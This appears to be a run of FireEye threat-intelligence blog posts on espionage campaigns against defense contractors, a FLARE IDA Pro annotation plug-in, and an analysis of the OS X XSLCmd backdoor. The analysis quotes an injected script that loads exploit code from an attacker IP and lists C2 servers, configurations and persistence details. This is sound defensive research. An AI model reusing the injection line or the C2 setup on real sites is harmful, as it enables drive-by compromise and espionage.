While TRANSCOM attributed all 20 intrusions that it classified as “advanced persistent threat” to China, it’s important not to lose sight of the fact that China is not the only player in this game:

  • We have also observed suspected Russia-based actors target a defense technology company, and in Operation Saffron Rose, we saw an Iranian group target US defense contractors in addition to members of the Iranian opposition.
  • We’ve also seen a number of regional conflicts, such as India-Pakistan, play out in the cyber arena, and we are seeing indications that Middle East-based hackers are tuning their skills and posing an increasing nuisance to companies around the globe.

Multiple threat groups appear to have a firm understanding of the Aerospace and Defense supply chains, including the relationships between organizations and specific projects in the industry. In multiple instances, cyber espionage groups have targeted information about specific projects across several companies. Similarly, we have observed threat groups target the entire Aerospace and Defense manufacturing production cycle, from research and development through testing and production, all the way to product launch.

Defense contractors are not the only parties who are affected by military intelligence collection. We have also seen relatively small companies—for example, technology companies that produce products for military and consumer applications—hit by probable nation-state threat actors, who appear to be collecting intelligence on the companies relationships with adversary military organizations.

The intrusions at TRANSCOM and its contractors resulted in data theft, but it’s important to note that data theft is not the only possible outcome of a breach. It’s also possible for threat actors to modify data once they have access to it, or even to destroy data, as they did in the case of Saudi Aramco. They may establish a foothold to ensure that they have access to victim networks for future use, or to conduct reconnaissance for possible, future operations.

Lessons from TRANSCOM

Of the 11 contractors impacted, eight said they were not aware of any threat activity occurring during the period in question. This hearkens back to a mantra we have at FireEye: it is not a matter of if an enterprise will be breached, but when. It is therefore critical that organizations prepare for the inevitable breach by monitoring for signs of an intrusion, sharing intelligence with industry peers, and having a strong incident response plan in place. In addition, intel sharing—more freely among government entities, as well as the threat intelligence community writ large—and contribute to better preparedness and a more effective defense against cyber threats.

FLARE IDA Pro Script Series: MSDN Annotations IDA Pro for Malware Analysis

The FireEye Labs Advanced Reverse Engineering (FLARE) Team continues to share knowledge and tools with the community. We started this blog series with a script for Automatic Recovery of Constructed Strings in Malware. As always, you can download these scripts at the following location: https://github.com/fireeye/flare-ida. We hope you find all these scripts as useful as we do.

Motivation

During my summer internship with the FLARE team, my goal was to develop IDAPython plug-ins that speed up the reverse engineering workflow in IDA Pro. While analyzing malware samples with the team, I realized that a lot of time is spent looking up information about functions, arguments, and constants at the Microsoft Developer Network (MSDN) website. Frequently switching to the developer documentation can interrupt the reverse engineering process, so we thought about ways to integrate MSDN information into IDA Pro automatically. In this blog post we will release a script that does just that, and we will show you how to use it.

Introduction

The MSDN Annotations plug-in integrates information about functions, arguments and return values into IDA Pro’s disassembly listing in the form of IDA comments. This allows the information to be integrated as seamlessly as possible. Additionally, the plug-in is able to automatically rename constants, which further speeds up the analyst workflow. The plug-in relies on an offline XML database file, which is generated from Microsoft’s documentation and IDA type library files.

Features

Table 1 shows what benefit the plug-in provides to an analyst. On the left you can see IDA Pro’s standard disassembly: seven arguments get pushed onto the stack and then the CreateFileA function is called. Normally an analyst would have to look up function, argument and possibly constant descriptions in the documentation to understand what this code snippet is trying to accomplish. To obtain readable constant values, an analyst would be required to research the respective argument, import the corresponding standard enumeration into IDA and then manually rename each value. The right side of Table 1 shows the result of executing our plug-in showing the support it offers to an analyst.

The most obvious change is that constants are renamed automatically. In this example, 40000000h was automatically converted to GENERIC_WRITE. Additionally, each function argument is renamed to a unique name, so the corresponding description can be added to the disassembly.

flare1

Table 1: Automatic labelling of standard symbolic constants

In Figure 1 you can see how the plug-in enables you to display function, argument, and constant information right within the disassembly. The top image shows how hovering over the CreateFileA function displays a short description and the return value. In the middle image, hovering over the hTemplateFile argument displays the corresponding description. And in the bottom image, you can see how hovering over dwShareMode, the automatically renamed constant displays descriptive information.

Functions

flare2

Arguments

flare3

Constants

flare4

Figure 1: Hovering function names, arguments and constants displays the respective descriptions

How it works

Before the plug-in makes any changes to the disassembly, it creates a backup of the current IDA database file (IDB). This file gets stored in the same directory as the current database and can be used to revert to the previous markup in case you do not like the changes or something goes wrong.

The plug-in is designed to run once on a sample before you start your analysis. It relies on an offline database generated from the MSDN documentation and IDA Pro type library (TIL) files. For every function reference in the import table, the plug-in annotates the function’s description and return value, adds argument descriptions, and renames constants. An example of an annotated import table is depicted in Figure 2. It shows how a descriptive comment is added to each API function call. In order to identify addresses of instructions that position arguments prior to a function call, the plug-in relies on IDA Pro’s markup.

flare5

Figure 2: Annotated import table

Figure 3 shows the additional .msdn segment the plug-in creates in order to store argument descriptions. This only impacts the IDA database file and does not modify the original binary.

flare6

Figure 3: The additional segment added to the IDA database

The .msdn segment stores the argument descriptions as shown in Figure 4. The unique argument names and their descriptive comments are sequentially added to the segment.

flare7

Figure 4: Names and comments inserted for argument descriptions

To allow the user to see constant descriptions by hovering over constants in the disassembly, the plug-in imports IDA Pro’s relevant standard enumeration and adds descriptive comments to the enumeration members. Figure 5 shows this for the MACRO_CREATE enumeration, which stores constants passed as dwCreationDisposition to CreateFileA.

flare8

Figure 5: Descriptions added to the constant enumeration members

Preparing the MSDN database file

The plug-in’s graphical interface requires you to have the QT framework and Python scripting installed. This is included with the IDA Pro 6.6 release. You can also set it up for IDA 6.5 as described here (http://www.hexblog.com/?p=333).

As mentioned earlier, the plug-in requires an XML database file storing the MSDN documentation. We cannot distribute the database file with the plug-in because Microsoft holds the copyright for it. However, we provide a script to generate the database file. It can be cloned from the git repository at https://github.com/fireeye/flare-ida together with the annotation plug-in.

You can take the following steps to setup the database file. You only have to do this once.

  1. Download and install an offline version of the MSDN documentationYou can download the Microsoft Windows SDK MSDN documentation. The standalone installer can be downloaded from http://www.microsoft.com/en-us/download/details.aspx?id=18950. Although it is not the newest SDK version, it includes all the needed information and data extraction is straight-forward.As shown in Figure 6, you can select to only install the help files. By default they are located in C:\Program Files\Microsoft SDKs\Windows\v7.0\Help\1033.

    flare9

    Figure 6: Installing a local copy of the MSDN documentation

  2. Extract the files with an archive manager like 7-zip to a directory of your choice.
  3. Download and extract tilib.exe from Hex-Ray’s download page at https://www.hex-rays.com/products/ida/support/download.shtml 

    To allow the plug-in to rename constants, it needs to know which enumerations to import. IDA Pro stores this information in TIL files located in %IDADIR%/til/. Hex-Rays provides a tool (tilib) to show TIL file contents via their download page for registered users. Download the tilib archive and extract the binary into %IDADIR%. If you run tilib without any arguments and it displays its help message, the program is running correctly.

  4. Run MSDN_crawler/msdn_crawler.py <path to extracted MSDN documentation> <path to tilib.exe> <path to til files>

    With these prerequisites fulfilled, you can run the MSDN_crawler.py script, located in the MSDN_crawler directory. It expects the path to the TIL files you want to extract (normally %IDADIR%/til/pc/) and the path to the extracted MSDN documentation. After the script finishes execution the final XML database file should be located in the MSDN_data directory.

You can now run our plug-in to annotate your disassembly in IDA.

Running the MSDN annotations plug-in

In IDA, use File – Script file… (ALT + F7) to open the script named annotate_IDB_MSDN.py. This will display the dialog box shown in Figure 7 that allows you to configure the modifications the plug-in performs. By default, the plug-in annotates functions, arguments and rename constants. If you change the settings and execute the plug-in by clicking OK, your settings get stored in a configuration file in the plug-in’s directory. This allows you to quickly run the plug-in on other samples using your preferred settings. If you do not choose to annotate functions and/or arguments, you will not be able to see the respective descriptions by hovering over the element.

flare10

Figure 7: The plug-in’s configuration window showing the default settings

When you choose to use repeatable comments for function name annotations, the description is visible in the disassembly listing, as shown in Figure 8.

flare11

Figure 8: The plug-in’s preview of function annotations with repeatable comments

Similar Tools and Known Limitations

Parts of our solution were inspired by existing IDA Pro plug-ins, such as IDAScope and IDAAPIHelp. A special thank you goes out to Zynamics for their MSDN crawler and the IDA importer which greatly supported our development.

Our plug-in has mainly been tested on IDA Pro for Windows, though it should work on all platforms. Due to the structure of the MSDN documentation and limitations of the MSDN crawler, not all constants can be parsed automatically. When you encounter missing information you can extend the annotation database by placing files with supplemental information into the MSDN_data directory. In order to be processed correctly, they have to be valid XML following the schema given in the main database file (msdn_data.xml). However, if you want to extend partly existing function information, you only have to add the additional fields. Name tags are mandatory for this, as they get used to identify the respective element.

For example, if the parser did not recognize a commonly used constant, we could add the information manually. For the CreateFileA function’s dwDesiredAccess argument the additional information could look similar to Listing 1.

<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<msdn>
<functions>
<function>
<name>CreateFileA</name>
<arguments>
<argument>
<name>dwDesiredAccess</name>
<constants enums=”MACRO_GENERIC”>
<constant>
<name>GENERIC_ALL</name>
<value>0×10000000</value>
<description>All possible access rights</description>
</constant>
<constant>
<name>GENERIC_EXECUTE</name>
<value>0×20000000</value>
<description>Execute access</description>
</constant>
<constant>
<name>GENERIC_WRITE</name>
<value>0×40000000</value>
<description>Write access</description>
</constant>
<constant>
<name>GENERIC_READ</name>
<value>0×80000000</value>
<description>Read access</description>
</constant>
</constants>
</argument>
</arguments>
</function>
</functions>
</msdn>

Listing 1: Additional information enhancing the dwDesiredAccess argument for the CreateFileA function

Conclusion

In this post, we showed how you can generate a MSDN database file used by our plug-in to automatically annotate information about functions, arguments and constants into IDA Pro’s disassembly. Furthermore, we talked about how the plug-in works, and how you can configure and customize it. We hope this speeds up your analysis process!

Stay tuned for the FLARE Team’s next post where we will release solutions for the FLARE On Challenge (www.flare-on.com).

The Path to Mass-Producing Cyber Attacks

Lines of people, lines of parts. The modern production line is composed of individuals contributing to a larger process. This common manufacturing approach is efficient, effective, and profitable.

Now it appears cyber attack groups in the world’s largest manufacturing country are using a similar approach to infiltrate targeted networks and compromise data – collaborating for increased efficiency and effectiveness.

FireEye Labs have published a report – Operation Quantum Entanglement – that details two attack campaigns by different groups in separate regions of China, apparently operating in parallel.

The first group, named Moafee, appears to operate from the Guandong Province. Its targets include the military organizations and governments of countries with national interests in the South China Sea, including some within the U.S. defense industrial base. Moafee may have chosen its targets based on the rich resources of South China Sea region – the world’s second business sea-lane, according to Wikipedia – including rare earth metals, crude oil, and natural gas.

The second group, known as DragonOK, targets high-tech and manufacturing companies in Japan and Taiwan. This may indicate they’re acquiring trade secrets for a competitive economic advantage in the area. DragonOK appears to operate out of China’s Jiangsu Province.

It seems that both groups, while operating in distinctly different regions, either 1) collaborate, 2) receive the same training), 3) share a common toolkit supply chain, or 4) some combination of these scenarios, which means they are employing a ‘production line’-type approach to initiating cyber attacks to breach defenses.

Mirroring Each Other

Both campaigns use similar tools, techniques and procedures (TTPs) – including custom-built backdoors and remote-administration tools (RATs) to infiltrate their targets’ networks.

Moafee and DragonOK both use a well-known proxy tool – HUC Packet Transmit Tool (HTRAN) – to disguise their geographical locations. Both utilize password-protected documents and large file sizes to disguise their attacks. These approaches, along with other similarities in TTPs we’ll review below, seem to indicate the groups are affiliated in some way and have at least some commonality in their attack campaigns.

quantum1

A third, separate group also appears to be using the same TTPs, including the same custom backdoors and RATs; however, FireEye researchers do not have enough insight to reliably report a definitive connection to the Moafee and DragonOK groups.

Hidden from Sight

Both Moafee and DragonOK favor spear-phishing emails as an attack vector, often employing a decoy to deceive the victim. The emails are well crafted and audience specific, even written in the intended victim’s native language.

Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document. We also observed both groups using decoy documents that are presented to the victim while the malware runs in the background.

The groups both use common, and multiple, methods to hide their activities. Employing sandbox environments, antivirus software and gateway firewalls, they do their best to remain unobtrusive. Methods include:

  • checking for the number of core processors (and quitting if only one is detected);
  • attaching password-protected documents and providing a password in the email contents; and
  • sending large files padded with unnecessary null bites to slide past network- and host-based AV engines that can’t scan larger files.

Tools of the Trade 

The two different operators seem to share backdoors and RATs – some of which are custom; others are publicly available. Overlapping tools include:

  • CT/NewCT/NewCT2
  • Mongall
  • Nflog
  • PoisonIvy

We observed Moafee running HTRAN proxies on their multiple Command and Control (C2) servers – all operated on CHINANET, and hosted in Guangdong Province.

Like the Moafee group, we observed DragonOK running HTRAN to proxy their C2 servers, which are also operated on CHINANET but are hosted in the Jiangsu Province.

Summary

Primarily focused on governments and military operations of countries with interests in the South China Sea, Moafee likely chooses its targets based on region’s rich natural resources. By targeting high-tech and manufacturing operations in Japan and Taiwan, DragonOK may be acquiring trade secrets for a competitive economic advantage.

While their targets and missions appear different, our researchers found enough linking evidence to demonstrate a relationship between Moafee and DragonOK, and perhaps even a third attack group. By sharing TTPs and coordinating joint attacks, these advanced threat actors are leveraging China’s supply chain economic expertise to perform extensive worldwide espionage.

Forced to Adapt: XSLCmd Backdoor Now on OS X

Introduction

FireEye Labs recently discovered a previously unknown variant of the APT backdoor XSLCmd – OSX.XSLCmd – which is designed to compromise Apple OS X systems. This backdoor shares a significant portion of its code with the Windows-based version of the XSLCmd backdoor that has been around since at least 2009.

This discovery, along with other industry findings, is a clear indicator that APT threat actors are shifting their eyes to OS X as it becomes an increasingly popular computing platform.

Across the global threat landscape, there has been a clear history of leveraging (or porting) Windows malware to the Apple OS X platform. In 2012, AlienVault discovered a document file exploiting an older vulnerability in Microsoft Word that installs a backdoor named “MacControl” on OS X systems. The group responsible for those attacks had been targeting Tibetan non-government organizations (NGOs). It was later discovered that the code for this backdoor was borrowed from an existing Windows backdoor, whose source code can be found on several Chinese programming forums.

In 2013, Kaspersky reported on a threat actor group they named “IceFog” that had been attacking a large number of entities related to military, mass media, and technology in South Korea and Japan. This group developed their own backdoor for both Windows and OS X. And just this year, Kaspersky published a report on a group they named “Careto/Mask” that utilized an open source netcat-like project designed to run on *nix and Windows systems named ‘sbd’ which they wrapped in a custom built installer for OS X.

Based on our historical intelligence, we believe the XSLCmd backdoor is used by APT, including a group that we call “GREF.” We track this threat group as “GREF” due to their propensity to use a variety of Google references in their activities – some of which will be outlined later in this report. Our tracking of GREF dates back to at least the 2009 timeframe, but we believe they were active prior to this time as well.   Historically, GREF has targeted a wide range of organizations including the US Defense Industrial Base (DIB), electronics and engineering companies worldwide, as well as foundations and other NGO’s, especially those with interests in Asia.

XSLCmd for OS X Analysis

The XSLCmd backdoor for OS X was submitted to VirusTotal (MD5: 60242ad3e1b6c4d417d4dfeb8fb464a1) on August 10, 2014, with 0 detections at the time of submission. The sample is a universal Mach-O executable file supporting the PowerPC, x86, and x86-64 CPU architectures. The code within contains both an installation routine that is carried out the first time it is executed on a system, and the backdoor routine which is carried out after confirming that its parent process is launchd (the initial user mode process of OS X that is responsible for, amongst other things, launching daemons).

The backdoor code was ported to OS X from a Windows backdoor that has been used extensively in targeted attacks over the past several years, having been updated many times in the process. Its capabilities include a reverse shell, file listings and transfers, installation of additional executables, and an updatable configuration. The OS X version of XSLCmd includes two additional features not found in the Windows variants we have studied in depth: key logging and screen capturing.

Installation Routine

To install, XSLCmd first determines the endianness of the CPU using NXGetLocalArchInfo and whether or not it is running as the super user by comparing the return value of getuid()with 0. The code includes functions to handle endianness differences when dealing with file and network data on a system using big endian, namely older Apple computers that shipped with PowerPC CPUs. The process copies its Mach-O from its current location to $HOME/Library/LaunchAgents/clipboardd and creates a plist file in the same directory with the name com.apple.service.clipboardd.plist. The latter file ensures that the backdoor is launched after the system is rebooted once the user logs in.  After this is done, the malware relaunches itself using the ‘load’ option of the launchctl utility, which runs the malware according to its configuration in the plist file it created, with launchd as its parent process. This is the process that begins the actual backdoor routine of waiting for and executing commands issued from the C2 server.

After running itself with launchctl, the initial process forks and deletes the Mach-O from the original location from which it was executed. The installation routine differs slightly depending on whether or not the process is running with super user privileges. If run as super user, it copies itself to /Library/Logs/clipboardd. Interestingly, if run as super user, the process will also copy /bin/ksh to /bin/ssh. /bin/ksh is the Korn shell executable, and if the user sends a command to initialize a reverse shell, it will use the copy of ksh to do so instead of /bin/bash.

This is likely done to make it less obvious that a reverse shell is running on the system, since it may raise less suspicion to see an ssh process opening a network socket rather than a bash process, although the real ssh executable is actually located in /usr/bin/ssh, not /bin/ssh. A list of possible files created by XSLCmd is included in Appendix 1 at the end of this blog.

Configuration Options

XSLCmd ships with an encrypted configuration file that it defaults to if there is no configuration file written to disk. It will only write its configuration file to disk if it’s updated by the user.  It runs in a loop, checking for a configuration update, and then checking for commands. If a new configuration is available, it will be written to disk in base64 encoding at $HOME/.fontset/pxupdate.ini. Below is the configuration data stored in the XSLCmd sample we obtained.

[ListenMode]
0
[MServer]
61.128.110.38:8000
[BServer]
61.128.110.38
[Day]
1,2,3,4,5,6,7
[Start Time]
00:00:00
[End Time]
23:59:00
[Interval]
60
[MWeb]
http://1234/config.htm
[BWeb]
http://1234/config.htm
[MWebTrans]
0
[BWebTrans]
0
[FakeDomain]
www.appleupdate.biz
[Proxy]
0
[Connect]
1
[Update]
0
[UpdateWeb]
not use

[MServer] and [BServer] specify the main and backup C2 server addresses, which can be either an IP address or domain name. Only [MServer] needs to specify a port.

[Day] specifies which days of the week the malware will poll for commands and configuration updates on where Monday is 1.

[Start Time] specifies the local time of day to begin polling.

[End Time] specifies the local time of day to stop polling.

[Interval] specifies the number of seconds between polls.

[MWeb] and [BWeb] specify the main and backup URLs to poll for configuration updates, respectively. Update checks are not performed if these values are left to their default: http://1234/config.htm

Other options will be explained where appropriate later in the blog.

C2 Protocol

XSLCmd uses pseudo-HTTP for its protocol. It opens a socket and uses a string template to setup the HTTP request or response headers depending on whether or not it was configured for [Listen Mode]. If [Listen Mode] is set to 1, then it listens on its socket, waiting for a connection for which it will reply to with HTTP response headers following this template:

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Server: Apache/2.0.54 (Unix)

Content-Encoding: gzip

Content-Length: %d

The body after the headers, regardless of mode, will contain data specific to the purpose of the communication. The data is encrypted with a scheme lifted from a game server engine written by a group named “My Destiny Team.” The request headers have an interesting feature where the Host and Referer header values will have their domain values populated with the value stored in [Fake Domain].  This value can be any string and has no effect on the network connection established. The value of the ‘s’ argument in the request URL is randomly generated, and all of the other request header values except for Content-Length are hard-coded.

osx1

Another interesting feature exists for the configuration update function. If [MWebTrans]/[BWebTrans] is set to 1, the configuration update URL request will be proxied through Yahoo’s Babelfish service and will fall back to the Google Translate service if that fails.

osx2

As you can see, the ‘trurl’ parameter in the URL will be set to whatever is configured for [MWeb]/[BWeb]. The User-Agent header for this request is hard-coded and contains the computer name in the parentheses at the end.

SSL certificate strings were noticed during our analysis, but with no direct cross-reference to the certificate data. However, there was a cross-reference to the data directly preceding it. This data began with what looked like SSL handshake headers, so we extracted the data from the executable, wrapped it in a PCAP file, and opened it in Wireshark.

osx3

Interestingly, the data contains everything needed for the server-side packets of an SSL handshake. The SSL certificate being used was for login.live.com and had expired on 6/16/2010. The code using this data opens a socket, waits for a connection, and proceeds to carry out an SSL handshake with the client, throwing away whatever data it receives. This code is not directly referenced by any other code in the executable but could very well replace the [Listen Mode] code. Perhaps it is an old feature no longer in use, a new feature yet to be fully implemented, or an optional feature only used in certain cases.

Observations

We noticed a mix of manually constructed and plain referenced strings throughout the code, sometimes side-by-side in the same function even. This gives the impression of someone working with someone else’s code, adding his own touch and style here and there as he goes.

osx4

Also of note is that XSLCmd will not perform key logging if run as super user.  This can be a problem, because the API used to perform the key logging, CGEventTapCreate, when invoked with the parameters it uses, requires root permissions from the calling process or the “Assistive Devices” feature must be enabled for the application. During the initial installation, there is a routine to programmatically enable assistive devices that will be executed if the OS X version is not 10.8. In 10.9, enabling assistive devices permissions is done on a per application basis with no direct API to achieve this.

It is interesting to note that the version check does not account for versions above 10.8, indicating that perhaps 10.8 was the latest version at the time the code was written, or at least the most common. Further supporting this inference is the lack of testing performed on 10.9. This variant uses an API from the private Admin framework that is no longer exported in 10.9, causing it to crash. The effort to support PowerPC with the endian conversion functions is worth mentioning.

Coupling this observation with the aforementioned fact that elsewhere in the code, the version of OS X is compared with 10.8, one could deduce that efforts were made to be backwards compatible with older OS X systems. For some frame of reference, Apple’s first OS to drop support for PowerPC was OS X 10.6 released in 2009, and OS X 10.9 was released in October of 2013.

Threat Actor Intelligence

Historical Background

While GREF’s targeting interests overlap with many of the other threat groups we track, their TTP’s are somewhat unique. GREF is one of the few APT threat groups that does not rely on phishing as their primary attack method. While they have been known to utilize phishing emails, including malicious attachments and links to exploit sites, they were one of the early adopters of strategic web compromise (SWC) attacks.

GREF was especially busy in the 2010 timeframe, during which they had early access to a number of 0-day exploits including CVE-2010-0806 (IE 6-7 Peer Objects vuln), CVE-2010-1297 (Adobe Flash vuln), and CVE-2010-2884 (Adobe Flash) that they leveraged in both phishing and SWC attacks.  Many of their SWC attacks we saw in this time period were hosted on defense industry-related sites including Center for Defense Information (cdi.org), National Defense Industrial Association (ndia.org), Interservice/Industry Training, Simulation and Education Conference (iitsec.org), and satellite company Millennium Space Systems (millennium-space.com).

Most of those attacks involved embedding links to exploit code in the homepage of the affected website, and true to their moniker the link was usually placed inside an existing Google Analytics code block in the page source code to help obscure it, rather than simply appended to the end of the file like many other attackers did.

Figure 1: Sample “google” exploit link

<!— Google Tracking Code —>

<script type=”text/javascript”>

var gaJsHost = ((“https:” == document.location.protocol) ? “https://ssl.” : “http://”);

document.write(unescape(“%3Cscript src=’” + gaJsHost + “180.149.252.181/wiki/tiwiki.ashx’ type=’text/javascript’%3E%3C/script%3E”));

</script>

The TTP that most differentiates GREF from other APT threat groups is their unrelenting targeting of web server vulnerabilities to both gain entry to targeted organizations, as well as to get new platforms for SWC attacks. This threat group appears to devote more resources (than most other groups) in attempting to penetrate web servers, and generally, they make no attempt to obscure the attacks, often generating gigabytes of traffic in long-running attacks.  They are known to utilize open-source tools such as SQLMap to perform SQL injection, but their most obvious tool of choice is the web vulnerability scanner Acunetix, which leaves tell-tale request patterns in web server logs. They have been known to leverage vulnerabilities in ColdFusion, Tomcat, JBoss, FCKEditor, and other web applications to gain access to servers, and then they will commonly deploy a variety of web shells relevant to the web application software running on the server to access and control the system.

Another historical TTP attributed to GREF was their frequent re-use of specific IP ranges to both perform reconnaissance and launch their attacks, as well as for command and control and exfiltration of data.  In the early years, we documented them routinely using IP addresses in the 210.211.31.x (China Virtual Telecom – Hong Kong), 180.149.252.x (Asia Datacenter – Hong Kong), and 120.50.47.x (Qala – Singapore). In addition, their reconnaissance activities frequently included referrer headers from google.com and google.com.hk with search features such as “inurl” and “filetype” looking for specific systems, technologies, and known vulnerabilities.

C2 Domains

GREF is known to have sometimes configured their malware to bare IP addresses, rather than domains, but there are some clusters of domain registrants that we attribute to them.

Table 1: GREF domain registrations

Domain Registrant Email Address
allshell[.]net cooweb51[@]hotmail.com
attoo1s[.]com cooweb51[@]hotmail.com
kasparsky[.]net cooweb51[@]hotmail.com
kocrmicrosoft[.]com cooweb51[@]hotmail.com
microsoft.org[.]tw cooweb51[@]hotmail.com
microsoftdomainadmin[.]com cooweb51[@]hotmail.com
microsoftsp3[.]com cooweb51[@]hotmail.com
playncs[.]com cooweb51[@]hotmail.com
softwareupdatevmware[.]com cooweb51[@]hotmail.com
windowsnine[.]net cooweb51[@]hotmail.com
cdngoogle[.]com metasploit3[@]google.com
cisco-inc[.]net metasploit3[@]google.com
mremote[.]biz metasploit3[@]google.com
officescan[.]biz metasploit3[@]google.com
oprea[.]biz metasploit3[@]google.com
battle.com[.]tw 6g8wkx[@]gmail.com
diablo-iii[.]mobi 6g8wkx[@]gmail.com
microsoftupdate[.]ws 6g8wkx[@]gmail.com
msftncsl[.]com 6g8wkx[@]gmail.com
square-enix[.]us 6g8wkx[@]gmail.com
updatamicrosoft[.]com 6g8wkx[@]gmail.com
powershell.com[.]tw 6g8wkx[@]gmail.com
gefacebook[.]com 6g8wkx[@]gmail.com
attoo1s[.]com 6g8wkx[@]gmail.com
msnupdate[.]bz skydrive1951[@]hotmail.com
googlemapsoftware[.]com skydrive1951[@]hotmail.com

XSLCmd Usage

For the majority of the time we’ve been tracking them, XSLCmd has been the “go-to” backdoor for GREF, as shown by the wide range of compile dates for the Windows samples we have: from 2009-01-05 to 2013-08-01. Appendix 2 provides a partial list of Windows sample hashes and configuration metadata.

Since Mach-O binaries do not have a compile timestamp like Windows executables, we can only infer from other data when the OS X variant was developed.  As mentioned above, the “FakeDomain” was configured to “www.appleupdate[.]biz”, which was originally registered on August 2, 2012, and the registration appears to have updated on August 7, 2014, but the registrant is still the same “cast west”.  When we found the sample on August 10, the domain did not resolve and there were no historical records for appleupdate[.]biz in any of the passive DNS (pDNS) sources we checked.  In the intervening weeks, it has been seen by pDNS sensors, with the first query occurring on August 12, 2014 (which could be related to our research, since the hits are ‘nxdomain’), and then on August 16, 2014 there are pDNS records pointing to 61.128.110.38, which you’ll notice is the same IP the OS X version was configured to use.  This could hint at the possibility that this OS X port of XSLCmd was recently developed and deployed; however, this remains uncertain.

Other Backdoor Usage

In addition to XSLCmd, GREF has utilized a number of other backdoors over time.  Another backdoor unique to them, which we call “ddrh”, is a limited-feature backdoor that was frequently dropped in the SWC attacks in 2010, but has not been seen much since.

Another historical backdoor attributed to GREF is one known as ERACS or Trojan.LURKER (not to be confused with LURK0 variant of Gh0st).  This full-featured backdoor includes the usual backdoor functionality, including the support for additional modules, but it also includes a USB monitoring capability that generates a directory listing of USB-connected devices.

We have also observed GREF using a handful of other common backdoors including Poison Ivy, Gh0st, 9002/HOMEUNIX, HKDoor, and Briba, but these occurrences have been pretty rare.  All of the GREF 9002/HOMEUNIX samples in our repository have compile dates from 2009 or 2010.  Interestingly enough, there is some overlap with a cluster detailed in a report we released in November of last year, specifically the “AllShell” cluster (C2: smtp.allshell[.]net).

Starting in mid-2012, GREF started using the Kaba/SOGU backdoor.  These early samples, which were discussed in great detail by LastLine in their blog post “An Analysis of PlugX,” are usually bundled into a RAR self-extracting executable and uses the three-part loading mechanism consisting of an executable, the malicious DLL that is side-loaded, and the shellcode file.

In mid-2013, GREF switched to using a new Kaba/SOGU builder that created binaries with unique metadata. For example, many of these samples create a mutex of “PST-2.0” when executed, and some have the shared “HT Applications” version metadata.

Conclusion

The “A” in APT is generally used to describe the threat actors as “Advanced”, but with this blog, we also see that they are also “Adaptable.”  Not only have they adopted new Windows-based backdoors over time, as Apple’s OS X platform has increased in popularity in many companies, they have logically adapted their toolset to match in order to gain and maintain a persistent foothold in the organizations they are targeting. OS X has gained popularity across enterprises, from less savvy users who find it easy to operate, to highly technical users that utilize its more powerful features, as well as with executives. Many people also consider it to be a more secure computing platform, which may lead to a dangerous sense of complacency in both IT departments and with users. In fact, while the security industry has started offering more products for OS X systems, these systems are sometimes less regulated and monitored in corporate environments than their Windows peers.

Clearly as the OS X platform becomes more widely adopted across enterprises, threat groups like GREF will continue to adapt and find ways to exploit that platform.

Credit to Jay Smith for his initial analysis of the Windows version of the XSLCmd backdoor and Joshua Homan for his assistance in this research.

Appendix 1:  XSLCmd for OS X created files

Filename Purpose
$HOME/Library/LaunchAgents/clipboardd executable
/Library/Logs/clipboardd executable when run as super user
$HOME/Library/LaunchAgents/com.apple.service.clipboardd.plist plist for persistence
$HOME/.fontset/pxupdate.ini configuration file
$HOME/.fontset/chkdiska.dat additional configuration file
$HOME/.fontset/chkdiskc.dat additional configuration file
$HOME/Library/Logs/BackupData/<year><month><day>_<hr>_<min>_<sec>_keys.log key log file

 

 

Appendix 2: XSLCmd sample metadata

09b20478f9c22886d3a2d59feada4131

[MServer]

180.149.252.136:443

[BServer]

66.98.206.31

[MWeb]

hxxp://google-analytics.dynalias.org/intl/images/index.html

[BWeb]

hxxp://google-analytics.dynalias.org/intl/images/index.html

[UpdateWeb]

hxxp://192.168.0.101/logo.bmp

 

17119d797ea48f4aa6ab196bed41c467

[MServer]

210.211.31.246:443

[BServer]

221.130.190.27

[MWeb]

hxxp://210.211.31.246/img/eihqs.html

[BWeb]

hxxp://221.130.190.27/img/eihqs.gif

 

21cea8b0f5f894a9e28a1cf05f207798

[MServer]

210.211.31.246:8080

[BServer]

117.135.135.128

[MWeb]

hxxp://xxtaltal.googlecode.com/svn/trunk/Cinci.html

[BWeb]

hxxp://210.211.31.246/img/Cinci.html

[UpdateWeb]

hxxp://210.211.31.246/xslup/tr.bmp

 

2a46174a881e664cf3f557be50a681d1

[MServer]

72.18.128.145:443

[BServer]

180.149.252.136

[MWeb]

hxxp://180.149.252.137/facebook/face.html

[BWeb]

hxxp://120.50.47.28/facebook/face.html

[UpdateWeb]

hxxp://192.168.0.101/logo.bmp

 

3d1914c340ab4dfcfae02b7ebf8c0849

[MServer]

kr.microisoft.net:443

[BServer]

aus.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

3ea4887d7c054a1cd7ebb662f0a5eb9d

[MServer]

66.90.103.135:443

[BServer]

58.177.114.13

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

491df38a8fae5627283d4b7e728b3f91

[MServer]

210.211.31.246:8080

[BServer]

117.135.135.128

[MWeb]

hxxp://xxtaltal.googlecode.com/svn/trunk/qq.html

[BWeb]

hxxp://210.211.31.214/img/qq.html

[UpdateWeb]

hxxp://210.211.31.214/xslup/tr.bmp

 

4c1918506917005d0026692a6b115ce1

[MServer]

65.111.246.50:443

[BServer]

117.135.135.128

[MWeb]

hxxp://210.211.31.214/img/qq.html

[BWeb]

hxxp://xxtaltal.googlecode.com/svn/trunk/qq.html

[UpdateWeb]

hxxp://210.211.31.214/qq/ab.bmp

 

6b647c625f686f1cd6ccd2cab29dda3b

[MServer]

205.209.150.2:80

182.239.48.126

hxxp://184.172.139.10/har/har.htm

[BWeb]

hxxp://184.172.139.10/har/har.htm

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

6c3be96b65a7db4662ccaae34d6e72cc

[MServer]

cdi.indiadigest.in:53

[BServer]

cdi.vmnet.info

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

[UpdateWeb]

 

6fcc96f01b880ec3a046b54497264958

[MServer]

59.148.180.62:8080

[BServer]

59.148.180.62

[MWeb]

hxxp://bluetoothftp.googlecode.com/svn/trunk/default.htm

[BWeb]

hxxp://sghost.homeip.net/index.htm

 

72dfa4abae68dbf637c4707ebd89f18c

[MServer]

kr.microisoft.net:443

[BServer]

aus.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

